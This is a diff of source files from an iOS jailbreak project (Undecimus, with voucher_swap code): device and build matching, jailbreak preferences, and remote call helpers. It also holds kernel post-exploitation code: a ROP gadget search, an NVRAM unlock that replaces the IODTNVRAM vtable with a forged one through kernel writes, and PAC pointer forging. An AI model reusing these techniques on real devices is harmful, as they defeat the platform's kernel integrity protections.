// Parse a device name.
|
||||
static bool
|
||||
parse_device(const char *device, char *device_type, unsigned *major, unsigned *minor) {
|
||||
return parse_device_internal(device, device_type, major, minor, false, NULL);
|
||||
}
|
||||
|
||||
// Parse a device range string.
|
||||
static bool
|
||||
parse_device_range(const char *device, char *device_type,
|
||||
unsigned *min_major, unsigned *min_minor,
|
||||
unsigned *max_major, unsigned *max_minor,
|
||||
const char **end) {
|
||||
char dev_type[32];
|
||||
const char *next = device;
|
||||
// First parse a full device.
|
||||
bool ok = parse_device_internal(next, dev_type, min_major, min_minor, true, &next);
|
||||
if (!ok) {
|
||||
unknown:
|
||||
strcpy(device_type, device);
|
||||
*min_major = 0;
|
||||
*min_minor = 0;
|
||||
*max_major = 0;
|
||||
*max_minor = 0;
|
||||
return false;
|
||||
}
|
||||
// Optionally parse a separator and more versions.
|
||||
if (*next == 0) {
|
||||
*max_major = *min_major;
|
||||
*max_minor = *min_minor;
|
||||
} else if (*next == '-') {
|
||||
next++;
|
||||
ok = parse_device_version_internal(next, max_major, max_minor, true, &next);
|
||||
if (!ok) {
|
||||
goto unknown;
|
||||
}
|
||||
}
|
||||
*end = next;
|
||||
// Return the device_type.
|
||||
strcpy(device_type, dev_type);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check if the given device number is numerically within range.
|
||||
static bool
|
||||
numerical_device_match(unsigned major, unsigned minor,
|
||||
unsigned min_major, unsigned min_minor, unsigned max_major, unsigned max_minor) {
|
||||
if (major < min_major && min_major != ANY) {
|
||||
return false;
|
||||
}
|
||||
if ((major == min_major || min_major == ANY)
|
||||
&& minor < min_minor && min_minor != ANY) {
|
||||
return false;
|
||||
}
|
||||
if (major > max_major && max_major != ANY) {
|
||||
return false;
|
||||
}
|
||||
if ((major == max_major || max_major == ANY)
|
||||
&& minor > max_minor && max_minor != ANY) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// Match a specific device against a device match list.
|
||||
static bool
|
||||
match_device(const char *device, const char *devices) {
|
||||
if (devices == NULL || strcmp(devices, "*") == 0) {
|
||||
return true;
|
||||
}
|
||||
// Parse this device.
|
||||
char device_type[32];
|
||||
unsigned major, minor;
|
||||
parse_device(device, device_type, &major, &minor);
|
||||
// Parse the match list.
|
||||
const char *next = devices;
|
||||
while (*next != 0) {
|
||||
// Parse the next device range.
|
||||
char match_device_type[32];
|
||||
unsigned min_major, min_minor, max_major, max_minor;
|
||||
parse_device_range(next, match_device_type, &min_major, &min_minor,
|
||||
&max_major, &max_minor, &next);
|
||||
if (*next != 0) {
|
||||
skip_spaces(&next);
|
||||
assert(*next == '|');
|
||||
next++;
|
||||
skip_spaces(&next);
|
||||
assert(*next != 0);
|
||||
}
|
||||
// Check if this is a match.
|
||||
if (strcmp(device_type, match_device_type) == 0
|
||||
&& numerical_device_match(major, minor,
|
||||
min_major, min_minor, max_major, max_minor)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// ---- Build matching ----------------------------------------------------------------------------
|
||||
|
||||
// Parse a build version string into a uint64_t. Maintains comparison order.
|
||||
static uint64_t
|
||||
parse_build_version(const char *build, const char **end) {
|
||||
// 16A5288q -> [2 bytes][1 byte][3 bytes][1 byte]
|
||||
const char *p = build;
|
||||
// Parse out the major number.
|
||||
uint64_t major = 0;
|
||||
for (;;) {
|
||||
char ch = *p;
|
||||
if (ch < '0' || '9' < ch) {
|
||||
break;
|
||||
}
|
||||
major = major * 10 + (ch - '0');
|
||||
p++;
|
||||
}
|
||||
// Parse out the minor.
|
||||
uint64_t minor = 0;
|
||||
for (;;) {
|
||||
char ch = *p;
|
||||
if (ch < 'A' || 'Z' < ch) {
|
||||
break;
|
||||
}
|
||||
minor = (minor << 8) + ch;
|
||||
p++;
|
||||
}
|
||||
// Parse out the patch.
|
||||
uint64_t patch = 0;
|
||||
for (;;) {
|
||||
char ch = *p;
|
||||
if (ch < '0' || '9' < ch) {
|
||||
break;
|
||||
}
|
||||
patch = patch * 10 + (ch - '0');
|
||||
p++;
|
||||
}
|
||||
// Parse out the alpha.
|
||||
uint64_t alpha = 0;
|
||||
for (;;) {
|
||||
char ch = *p;
|
||||
if (ch < 'a' || 'z' < ch) {
|
||||
break;
|
||||
}
|
||||
alpha = (alpha << 8) + ch;
|
||||
p++;
|
||||
}
|
||||
// Construct the full build version.
|
||||
if (end != NULL) {
|
||||
*end = p;
|
||||
}
|
||||
return ((major << (8 * 5))
|
||||
| (minor << (8 * 4))
|
||||
| (patch << (8 * 1))
|
||||
| (alpha << (8 * 0)));
|
||||
}
|
||||
|
||||
// Parse a build version range string.
|
||||
static void
|
||||
parse_build_version_range(const char *builds, uint64_t *version_min, uint64_t *version_max) {
|
||||
const char *next = builds;
|
||||
uint64_t min, max;
|
||||
// Parse the lower range.
|
||||
if (*next == '*') {
|
||||
min = 0;
|
||||
next++;
|
||||
} else {
|
||||
min = parse_build_version(next, &next);
|
||||
}
|
||||
// Parse the upper range (if it exists).
|
||||
if (*next == 0) {
|
||||
assert(min != 0);
|
||||
max = min;
|
||||
} else {
|
||||
skip_spaces(&next);
|
||||
assert(*next == '-');
|
||||
next++;
|
||||
skip_spaces(&next);
|
||||
if (*next == '*') {
|
||||
max = (uint64_t)(-1);
|
||||
next++;
|
||||
} else {
|
||||
max = parse_build_version(next, &next);
|
||||
}
|
||||
assert(*next == 0);
|
||||
}
|
||||
*version_min = min;
|
||||
*version_max = max;
|
||||
}
|
||||
|
||||
// Check if the given build version string matches the build range.
|
||||
static bool
|
||||
match_build(const char *build, const char *builds) {
|
||||
if (builds == NULL || strcmp(builds, "*") == 0) {
|
||||
return true;
|
||||
}
|
||||
uint64_t version = parse_build_version(build, NULL);
|
||||
uint64_t version_min, version_max;
|
||||
parse_build_version_range(builds, &version_min, &version_max);
|
||||
return (version_min <= version && version <= version_max);
|
||||
}
|
||||
|
||||
// ---- Public API --------------------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
platform_matches_device(const char *device_range) {
|
||||
return match_device(platform.machine, device_range);
|
||||
}
|
||||
|
||||
bool
|
||||
platform_matches_build(const char *build_range) {
|
||||
return match_build(platform.osversion, build_range);
|
||||
}
|
||||
|
||||
bool
|
||||
platform_matches(const char *device_range, const char *build_range) {
|
||||
return platform_matches_device(device_range)
|
||||
&& platform_matches_build(build_range);
|
||||
}
|
||||
@@ -1,62 +0,0 @@
|
||||
/*
|
||||
* platform_match.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__PLATFORM_MATCH_H_
|
||||
#define VOUCHER_SWAP__PLATFORM_MATCH_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
/*
|
||||
* platform_matches_device
|
||||
*
|
||||
* Description:
|
||||
* Check whether the current platform matches the specified device or range of devices.
|
||||
*
|
||||
* Match format:
|
||||
* The match string may either specify a single device glob or a range of device globs. For
|
||||
* example:
|
||||
*
|
||||
* "iPhone11,8" Matches only iPhone11,8
|
||||
* "iPhone11,*" Matches all iPhone11 devices, including e.g. iPhone11,4.
|
||||
* "iPhone*,*" Matches all iPhone devices.
|
||||
* "iPhone11,4-iPhone11,8" Matches all iPhone devices between 11,4 and 11,8, inclusive.
|
||||
* "iPhone10,*-11,*" Matches all iPhone10 and iPhone11 devices.
|
||||
*
|
||||
* As a special case, "*" matches all devices.
|
||||
*/
|
||||
bool platform_matches_device(const char *device_range);
|
||||
|
||||
/*
|
||||
* platform_matches_build
|
||||
*
|
||||
* Description:
|
||||
* Check whether the current platform matches the specified build version or range of build
|
||||
* versions.
|
||||
*
|
||||
* Match format:
|
||||
* The match string may either specify a single build version or a range of build versions.
|
||||
* For example:
|
||||
*
|
||||
* "16C50" Matches only build 16C50.
|
||||
* "16B92-16C50" Matches all builds between 16B92 and 16C50, inclusive.
|
||||
*
|
||||
* As a special case, either build version may be replaced with "*" to indicate a lack of
|
||||
* lower or upper bound:
|
||||
*
|
||||
* "*-16B92" Matches all builds up to and including 16B92.
|
||||
* "16C50-*" Matches build 16C50 and later.
|
||||
* "*" Matches all build versions.
|
||||
*/
|
||||
bool platform_matches_build(const char *build_range);
|
||||
|
||||
/*
|
||||
* platform_matches
|
||||
*
|
||||
* Description:
|
||||
* A convenience function that combines platform_matches_device() and
|
||||
* platform_matches_build().
|
||||
*/
|
||||
bool platform_matches(const char *device_range, const char *build_range);
|
||||
|
||||
#endif
|
||||
@@ -1,70 +0,0 @@
|
||||
//
|
||||
// prefs.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 5/3/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef prefs_h
|
||||
#define prefs_h
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define K_TWEAK_INJECTION "TweakInjection"
|
||||
#define K_LOAD_DAEMONS "LoadDaemons"
|
||||
#define K_DUMP_APTICKET "DumpAPTicket"
|
||||
#define K_REFRESH_ICON_CACHE "RefreshIconCache"
|
||||
#define K_BOOT_NONCE "BootNonce"
|
||||
#define K_EXPLOIT "Exploit"
|
||||
#define K_DISABLE_AUTO_UPDATES "DisableAutoUpdates"
|
||||
#define K_DISABLE_APP_REVOKES "DisableAppRevokes"
|
||||
#define K_OVERWRITE_BOOT_NONCE "OverwriteBootNonce"
|
||||
#define K_EXPORT_KERNEL_TASK_PORT "ExportKernelTaskPort"
|
||||
#define K_RESTORE_ROOTFS "RestoreRootFS"
|
||||
#define K_INCREASE_MEMORY_LIMIT "IncreaseMemoryLimit"
|
||||
#define K_ECID "Ecid"
|
||||
#define K_INSTALL_OPENSSH "InstallOpenSSH"
|
||||
#define K_INSTALL_CYDIA "InstallCydia"
|
||||
#define K_RELOAD_SYSTEM_DAEMONS "ReloadSystemDaemons"
|
||||
#define K_HIDE_LOG_WINDOW "HideLogWindow"
|
||||
#define K_RESET_CYDIA_CACHE "ResetCydiaCache"
|
||||
#define K_SSH_ONLY "SSHOnly"
|
||||
#define K_ENABLE_GET_TASK_ALLOW "EnableGetTaskAllow"
|
||||
#define K_SET_CS_DEBUGGED "SetCSDebugged"
|
||||
|
||||
typedef struct {
|
||||
bool load_tweaks;
|
||||
bool load_daemons;
|
||||
bool dump_apticket;
|
||||
bool run_uicache;
|
||||
const char *boot_nonce;
|
||||
bool disable_auto_updates;
|
||||
bool disable_app_revokes;
|
||||
bool overwrite_boot_nonce;
|
||||
bool export_kernel_task_port;
|
||||
bool restore_rootfs;
|
||||
bool increase_memory_limit;
|
||||
const char *ecid;
|
||||
bool install_cydia;
|
||||
bool install_openssh;
|
||||
bool reload_system_daemons;
|
||||
bool reset_cydia_cache;
|
||||
bool ssh_only;
|
||||
bool enable_get_task_allow;
|
||||
bool set_cs_debugged;
|
||||
bool hide_log_window;
|
||||
int exploit;
|
||||
} prefs_t;
|
||||
|
||||
prefs_t *new_prefs(void);
|
||||
prefs_t *copy_prefs(void);
|
||||
void release_prefs(prefs_t **prefs);
|
||||
bool load_prefs(prefs_t *prefs);
|
||||
bool set_prefs(prefs_t *prefs);
|
||||
void register_default_prefs(void);
|
||||
void repair_prefs(void);
|
||||
void reset_prefs(void);
|
||||
|
||||
#endif /* prefs_h */
|
||||
@@ -1,135 +0,0 @@
|
||||
//
|
||||
// prefs.c
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 5/3/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include "prefs.h"
|
||||
#include <Foundation/Foundation.h>
|
||||
#include <common.h>
|
||||
#include "utils.h"
|
||||
|
||||
@interface NSUserDefaults ()
|
||||
- (id)objectForKey:(id)arg1 inDomain:(id)arg2;
|
||||
- (void)setObject:(id)arg1 forKey:(id)arg2 inDomain:(id)arg3;
|
||||
@end
|
||||
|
||||
static NSUserDefaults *userDefaults = nil;
|
||||
static NSString *prefsFile = nil;
|
||||
|
||||
prefs_t *new_prefs() {
|
||||
prefs_t *prefs = (prefs_t *)malloc(sizeof(prefs_t));
|
||||
assert(prefs != NULL);
|
||||
bzero(prefs, sizeof(prefs_t));
|
||||
return prefs;
|
||||
}
|
||||
|
||||
prefs_t *copy_prefs() {
|
||||
prefs_t *prefs = new_prefs();
|
||||
load_prefs(prefs);
|
||||
return prefs;
|
||||
}
|
||||
|
||||
void release_prefs(prefs_t **prefs) {
|
||||
SafeFreeNULL(*prefs);
|
||||
}
|
||||
|
||||
bool load_prefs(prefs_t *prefs) {
|
||||
if (prefs == NULL) {
|
||||
return false;
|
||||
}
|
||||
prefs->load_tweaks = (bool)[[userDefaults objectForKey:@K_TWEAK_INJECTION inDomain:prefsFile] boolValue];
|
||||
prefs->load_daemons = (bool)[[userDefaults objectForKey:@K_LOAD_DAEMONS inDomain:prefsFile] boolValue];
|
||||
prefs->dump_apticket = (bool)[[userDefaults objectForKey:@K_DUMP_APTICKET inDomain:prefsFile] boolValue];
|
||||
prefs->run_uicache = (bool)[[userDefaults objectForKey:@K_REFRESH_ICON_CACHE inDomain:prefsFile] boolValue];
|
||||
prefs->boot_nonce = (const char *)[[userDefaults objectForKey:@K_BOOT_NONCE inDomain:prefsFile] UTF8String];
|
||||
prefs->disable_auto_updates = (bool)[[userDefaults objectForKey:@K_DISABLE_AUTO_UPDATES inDomain:prefsFile] boolValue];
|
||||
prefs->disable_app_revokes = (bool)[[userDefaults objectForKey:@K_DISABLE_APP_REVOKES inDomain:prefsFile] boolValue];
|
||||
prefs->overwrite_boot_nonce = (bool)[[userDefaults objectForKey:@K_OVERWRITE_BOOT_NONCE inDomain:prefsFile] boolValue];
|
||||
prefs->export_kernel_task_port = (bool)[[userDefaults objectForKey:@K_EXPORT_KERNEL_TASK_PORT inDomain:prefsFile] boolValue];
|
||||
prefs->restore_rootfs = (bool)[[userDefaults objectForKey:@K_RESTORE_ROOTFS inDomain:prefsFile] boolValue];
|
||||
prefs->increase_memory_limit = (bool)[[userDefaults objectForKey:@K_INCREASE_MEMORY_LIMIT inDomain:prefsFile] boolValue];
|
||||
prefs->ecid = (const char *)[[userDefaults objectForKey:@K_ECID inDomain:prefsFile] UTF8String];
|
||||
prefs->install_cydia = (bool)[[userDefaults objectForKey:@K_INSTALL_CYDIA inDomain:prefsFile] boolValue];
|
||||
prefs->install_openssh = (bool)[[userDefaults objectForKey:@K_INSTALL_OPENSSH inDomain:prefsFile] boolValue];
|
||||
prefs->reload_system_daemons = (bool)[[userDefaults objectForKey:@K_RELOAD_SYSTEM_DAEMONS inDomain:prefsFile] boolValue];
|
||||
prefs->reset_cydia_cache = (bool)[[userDefaults objectForKey:@K_RESET_CYDIA_CACHE inDomain:prefsFile] boolValue];
|
||||
prefs->ssh_only = (bool)[[userDefaults objectForKey:@K_SSH_ONLY inDomain:prefsFile] boolValue];
|
||||
prefs->enable_get_task_allow = (bool)[[userDefaults objectForKey:@K_ENABLE_GET_TASK_ALLOW inDomain:prefsFile]boolValue];
|
||||
prefs->set_cs_debugged = (bool)[[userDefaults objectForKey:@K_SET_CS_DEBUGGED inDomain:prefsFile] boolValue];
|
||||
prefs->exploit = (int)[[userDefaults objectForKey:@K_EXPLOIT inDomain:prefsFile] intValue];
|
||||
prefs->hide_log_window = (bool)[[userDefaults objectForKey:@K_HIDE_LOG_WINDOW inDomain:prefsFile] boolValue];
|
||||
return true;
|
||||
}
|
||||
|
||||
bool set_prefs(prefs_t *prefs) {
|
||||
if (prefs == NULL) {
|
||||
return false;
|
||||
}
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->load_tweaks] forKey:@K_TWEAK_INJECTION inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->load_daemons] forKey:@K_LOAD_DAEMONS inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->dump_apticket] forKey:@K_DUMP_APTICKET inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->run_uicache] forKey:@K_REFRESH_ICON_CACHE inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSString stringWithUTF8String:(const char *)prefs->boot_nonce] forKey:@K_BOOT_NONCE inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->disable_auto_updates] forKey:@K_DISABLE_AUTO_UPDATES inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->disable_app_revokes] forKey:@K_DISABLE_APP_REVOKES inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->overwrite_boot_nonce] forKey:@K_OVERWRITE_BOOT_NONCE inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->export_kernel_task_port] forKey:@K_EXPORT_KERNEL_TASK_PORT inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->restore_rootfs] forKey:@K_RESTORE_ROOTFS inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->increase_memory_limit] forKey:@K_INCREASE_MEMORY_LIMIT inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSString stringWithUTF8String:(const char *)prefs->ecid] forKey:@K_ECID inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->install_cydia] forKey:@K_INSTALL_CYDIA inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->install_openssh] forKey:@K_INSTALL_OPENSSH inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->reload_system_daemons] forKey:@K_RELOAD_SYSTEM_DAEMONS inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->reset_cydia_cache] forKey:@K_RESET_CYDIA_CACHE inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->ssh_only] forKey:@K_SSH_ONLY inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->enable_get_task_allow] forKey:@K_ENABLE_GET_TASK_ALLOW inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->set_cs_debugged] forKey:@K_SET_CS_DEBUGGED inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithInt:(int)prefs->exploit] forKey:@K_EXPLOIT inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->hide_log_window] forKey:@K_HIDE_LOG_WINDOW inDomain:prefsFile];
|
||||
[userDefaults synchronize];
|
||||
return true;
|
||||
}
|
||||
|
||||
void register_default_prefs() {
|
||||
NSMutableDictionary *defaults = [NSMutableDictionary new];
|
||||
defaults[@K_TWEAK_INJECTION] = @YES;
|
||||
defaults[@K_LOAD_DAEMONS] = @YES;
|
||||
defaults[@K_DUMP_APTICKET] = @YES;
|
||||
defaults[@K_REFRESH_ICON_CACHE] = @NO;
|
||||
defaults[@K_BOOT_NONCE] = @"0x1111111111111111";
|
||||
defaults[@K_DISABLE_AUTO_UPDATES] = @YES;
|
||||
defaults[@K_DISABLE_APP_REVOKES] = @YES;
|
||||
defaults[@K_OVERWRITE_BOOT_NONCE] = @YES;
|
||||
defaults[@K_EXPORT_KERNEL_TASK_PORT] = @NO;
|
||||
defaults[@K_RESTORE_ROOTFS] = @NO;
|
||||
defaults[@K_INCREASE_MEMORY_LIMIT] = @NO;
|
||||
defaults[@K_ECID] = @"0x0";
|
||||
defaults[@K_INSTALL_CYDIA] = @NO;
|
||||
defaults[@K_INSTALL_OPENSSH] = @NO;
|
||||
defaults[@K_RELOAD_SYSTEM_DAEMONS] = @YES;
|
||||
defaults[@K_SSH_ONLY] = @NO;
|
||||
defaults[@K_ENABLE_GET_TASK_ALLOW] = @NO;
|
||||
defaults[@K_SET_CS_DEBUGGED] = @NO;
|
||||
defaults[@K_HIDE_LOG_WINDOW] = @NO;
|
||||
defaults[@K_EXPLOIT] = [NSNumber numberWithInteger:recommendedJailbreakSupport()];
|
||||
[userDefaults registerDefaults:defaults];
|
||||
}
|
||||
|
||||
void repair_prefs() {
|
||||
prefs_t *prefs = copy_prefs();
|
||||
if (!supportsExploit(prefs->exploit)) prefs->exploit = (int)recommendedJailbreakSupport();
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
}
|
||||
|
||||
void reset_prefs() {
|
||||
[userDefaults removePersistentDomainForName:[[NSBundle mainBundle] bundleIdentifier]];
|
||||
}
|
||||
__attribute__((constructor))
|
||||
static void ctor() {
|
||||
userDefaults = [NSUserDefaults standardUserDefaults];
|
||||
prefsFile = [NSString stringWithFormat:@"%@/Library/Preferences/%@.plist", NSHomeDirectory(), [[NSBundle mainBundle] bundleIdentifier]];
|
||||
}
|
||||
@@ -10,40 +10,14 @@
|
||||
#include <mach/mach_traps.h>
|
||||
#include <mach/task.h>
|
||||
|
||||
extern uint64_t
|
||||
find_blr_x19_gadget(void);
|
||||
|
||||
#include "remote_call.h"
|
||||
#include "remote_memory.h"
|
||||
|
||||
#include <common.h>
|
||||
|
||||
#if !__arm64e__
|
||||
static uint64_t find_gadget_candidate(char **alternatives, size_t gadget_length) {
|
||||
auto const haystack_start = (void *)atoi; // will do...
|
||||
auto haystack_size = 100*1024*1024; // likewise...
|
||||
|
||||
for (char *candidate = *alternatives; candidate != NULL; alternatives++) {
|
||||
void *found_at = memmem(haystack_start, haystack_size, candidate, gadget_length);
|
||||
if (found_at != NULL){
|
||||
LOG("found at: %llx", (uint64_t)found_at);
|
||||
return (uint64_t)found_at;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t blr_x19_addr = 0;
|
||||
static uint64_t find_blr_x19_gadget()
|
||||
{
|
||||
if (blr_x19_addr != 0){
|
||||
return blr_x19_addr;
|
||||
}
|
||||
auto const blr_x19 = "\x60\x02\x3f\xd6";
|
||||
char* candidates[] = {blr_x19, NULL};
|
||||
blr_x19_addr = find_gadget_candidate(candidates, 4);
|
||||
return blr_x19_addr;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
// no support for non-register args
|
||||
#define MAX_REMOTE_ARGS 8
|
||||
|
||||
@@ -54,9 +28,6 @@ _pthread_set_self(
|
||||
|
||||
uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...)
|
||||
{
|
||||
#if __arm64e__
|
||||
return 0;
|
||||
#else
|
||||
if (n_params > MAX_REMOTE_ARGS || n_params < 0) {
|
||||
LOG("unsupported number of arguments to remote function (%d)", n_params);
|
||||
return 0;
|
||||
@@ -250,15 +221,11 @@ uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...)
|
||||
remote_free(task_port, remote_stack_base, remote_stack_size);
|
||||
|
||||
return ret_val;
|
||||
#endif
|
||||
}
|
||||
|
||||
// thread should be suspended already; will return suspended
|
||||
uint64_t thread_call_remote(mach_port_t thread_port, void* fptr, int n_params, ...)
|
||||
{
|
||||
#if __arm64e__
|
||||
return 0;
|
||||
#else
|
||||
if (n_params > MAX_REMOTE_ARGS || n_params < 0) {
|
||||
LOG("unsupported number of arguments to remote function (%d)", n_params);
|
||||
return 0;
|
||||
@@ -396,5 +363,4 @@ uint64_t thread_call_remote(mach_port_t thread_port, void* fptr, int n_params, .
|
||||
uint64_t ret_val = fcall_thread_state.__x[0];
|
||||
|
||||
return ret_val;
|
||||
#endif
|
||||
}
|
||||
|
||||
@@ -5,26 +5,22 @@
|
||||
// 2) Have tfp0 / kernel read|write|alloc
|
||||
// 3) Can leak kernel address of mach port
|
||||
// then we can fake vtable on IODTNVRAM object
|
||||
// async_wake satisfies those requirements
|
||||
// however, I wasn't able to actually set or get ANY nvram variable
|
||||
// not even userread/userwrite
|
||||
// Guess sandboxing won't let to access nvram
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <iokit.h>
|
||||
#include <common.h>
|
||||
#include "KernelUtilities.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelMemory.h"
|
||||
#include "find_port.h"
|
||||
#include "pac.h"
|
||||
#include "kernel_call.h"
|
||||
#include "kc_parameters.h"
|
||||
|
||||
static const size_t max_vtable_size = 0x1000;
|
||||
static const size_t kernel_buffer_size = 0x4000;
|
||||
|
||||
// it always returns false
|
||||
static const uint64_t searchNVRAMProperty = 0x590;
|
||||
// 0 corresponds to root only
|
||||
static const uint64_t getOFVariablePerm = 0x558;
|
||||
// from vtable start in bytes
|
||||
unsigned VTB_IODTNVRAM__SEARCHNVRAMPROPERTY = 0x590;
|
||||
unsigned VTB_IODTNVRAM__GETOFVARIABLEPERM = 0x558;
|
||||
|
||||
// convertPropToObject calls getOFVariableType
|
||||
// open convertPropToObject, look for first vtable call -- that'd be getOFVariableType
|
||||
@@ -50,9 +46,7 @@ uint64_t get_iodtnvram_obj(void) {
|
||||
return IODTNVRAMObj;
|
||||
}
|
||||
|
||||
uint64_t orig_vtable = 0;
|
||||
uint64_t fake_vtable = 0;
|
||||
uint64_t fake_vtable_xpac = 0;
|
||||
uint64_t orig_vtable = -1;
|
||||
|
||||
int unlocknvram(void) {
|
||||
uint64_t obj = get_iodtnvram_obj();
|
||||
@@ -61,53 +55,45 @@ int unlocknvram(void) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
orig_vtable = ReadKernel64(obj);
|
||||
uint64_t vtable_xpac = kernel_xpacd(orig_vtable);
|
||||
|
||||
uint64_t *buf = calloc(1, max_vtable_size);
|
||||
kread(vtable_xpac, buf, max_vtable_size);
|
||||
|
||||
// alter it
|
||||
buf[getOFVariablePerm / sizeof(uint64_t)] = \
|
||||
kernel_xpaci(buf[searchNVRAMProperty / sizeof(uint64_t)]);
|
||||
uint64_t vtable_start = ReadKernel64(obj);
|
||||
|
||||
// allocate buffer in kernel
|
||||
fake_vtable_xpac = kmem_alloc_wired(kernel_buffer_size);
|
||||
|
||||
// Forge the pacia pointers to the virtual methods.
|
||||
size_t count = 0;
|
||||
for (; count < max_vtable_size / sizeof(*buf); count++) {
|
||||
uint64_t vmethod = buf[count];
|
||||
if (vmethod == 0) {
|
||||
break;
|
||||
}
|
||||
#if __arm64e__
|
||||
assert(count < VTABLE_PAC_CODES(IODTNVRAM).count);
|
||||
vmethod = kernel_xpaci(vmethod);
|
||||
uint64_t vmethod_address = fake_vtable_xpac + count * sizeof(*buf);
|
||||
buf[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
|
||||
VTABLE_PAC_CODES(IODTNVRAM).codes[count]);
|
||||
#endif // __arm64e__
|
||||
orig_vtable = vtable_start;
|
||||
|
||||
uint64_t vtable_end = vtable_start;
|
||||
// Is vtable really guaranteed to end with 0 or was it just a coincidence?..
|
||||
// should we just use some max value instead?
|
||||
while (ReadKernel64(vtable_end) != 0) vtable_end += sizeof(uint64_t);
|
||||
|
||||
uint32_t vtable_len = (uint32_t) (vtable_end - vtable_start);
|
||||
|
||||
// copy vtable to userspace
|
||||
uint64_t *buf = calloc(1, vtable_len);
|
||||
rkbuffer(vtable_start, buf, vtable_len);
|
||||
|
||||
LOG("IODTNVRAM vtable: 0x%llx - 0x%llx", vtable_start, vtable_end);
|
||||
|
||||
for (int i = 0; i != vtable_len; i += sizeof(uint64_t)) {
|
||||
LOG("\t[0x%03x]: 0x%llx", i, buf[i/sizeof(uint64_t)]);
|
||||
}
|
||||
|
||||
// and copy it back
|
||||
kwrite(fake_vtable_xpac, buf, count*sizeof(*buf));
|
||||
#if __arm64e__
|
||||
fake_vtable = kernel_forge_pacda(fake_vtable_xpac, 0);
|
||||
#else
|
||||
fake_vtable = fake_vtable_xpac;
|
||||
#endif
|
||||
|
||||
// alter it
|
||||
buf[VTB_IODTNVRAM__GETOFVARIABLEPERM / sizeof(uint64_t)] = \
|
||||
buf[VTB_IODTNVRAM__SEARCHNVRAMPROPERTY / sizeof(uint64_t)];
|
||||
|
||||
// allocate buffer in kernel and copy it back
|
||||
uint64_t fake_vtable = kmem_alloc_wired(vtable_len);
|
||||
wkbuffer(fake_vtable, buf, vtable_len);
|
||||
|
||||
// replace vtable on IODTNVRAM object
|
||||
WriteKernel64(obj, fake_vtable);
|
||||
|
||||
SafeFreeNULL(buf);
|
||||
free(buf);
|
||||
LOG("Unlocked nvram");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int locknvram(void) {
|
||||
if (orig_vtable == 0 || fake_vtable_xpac == 0) {
|
||||
if (orig_vtable == -1) {
|
||||
LOG("Trying to lock nvram, but didnt unlock first");
|
||||
return -1;
|
||||
}
|
||||
@@ -119,7 +105,6 @@ int locknvram(void) {
|
||||
}
|
||||
|
||||
WriteKernel64(obj, orig_vtable);
|
||||
kmem_free(fake_vtable_xpac, kernel_buffer_size);
|
||||
|
||||
LOG("Locked nvram");
|
||||
return 0;
|
||||
|
||||
@@ -1,358 +0,0 @@
|
||||
/*
|
||||
* kernel_call/user_client.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#include "user_client.h"
|
||||
|
||||
#include <assert.h>
|
||||
|
||||
#include "IOKitLib.h"
|
||||
#include "kernel_call.h"
|
||||
#include "kc_parameters.h"
|
||||
#include "pac.h"
|
||||
#include "kernel_memory.h"
|
||||
#include "kernel_slide.h"
|
||||
#include "log.h"
|
||||
#include "mach_vm.h"
|
||||
#include "parameters.h"
|
||||
#include "common.h"
|
||||
|
||||
// ---- Global variables --------------------------------------------------------------------------
|
||||
|
||||
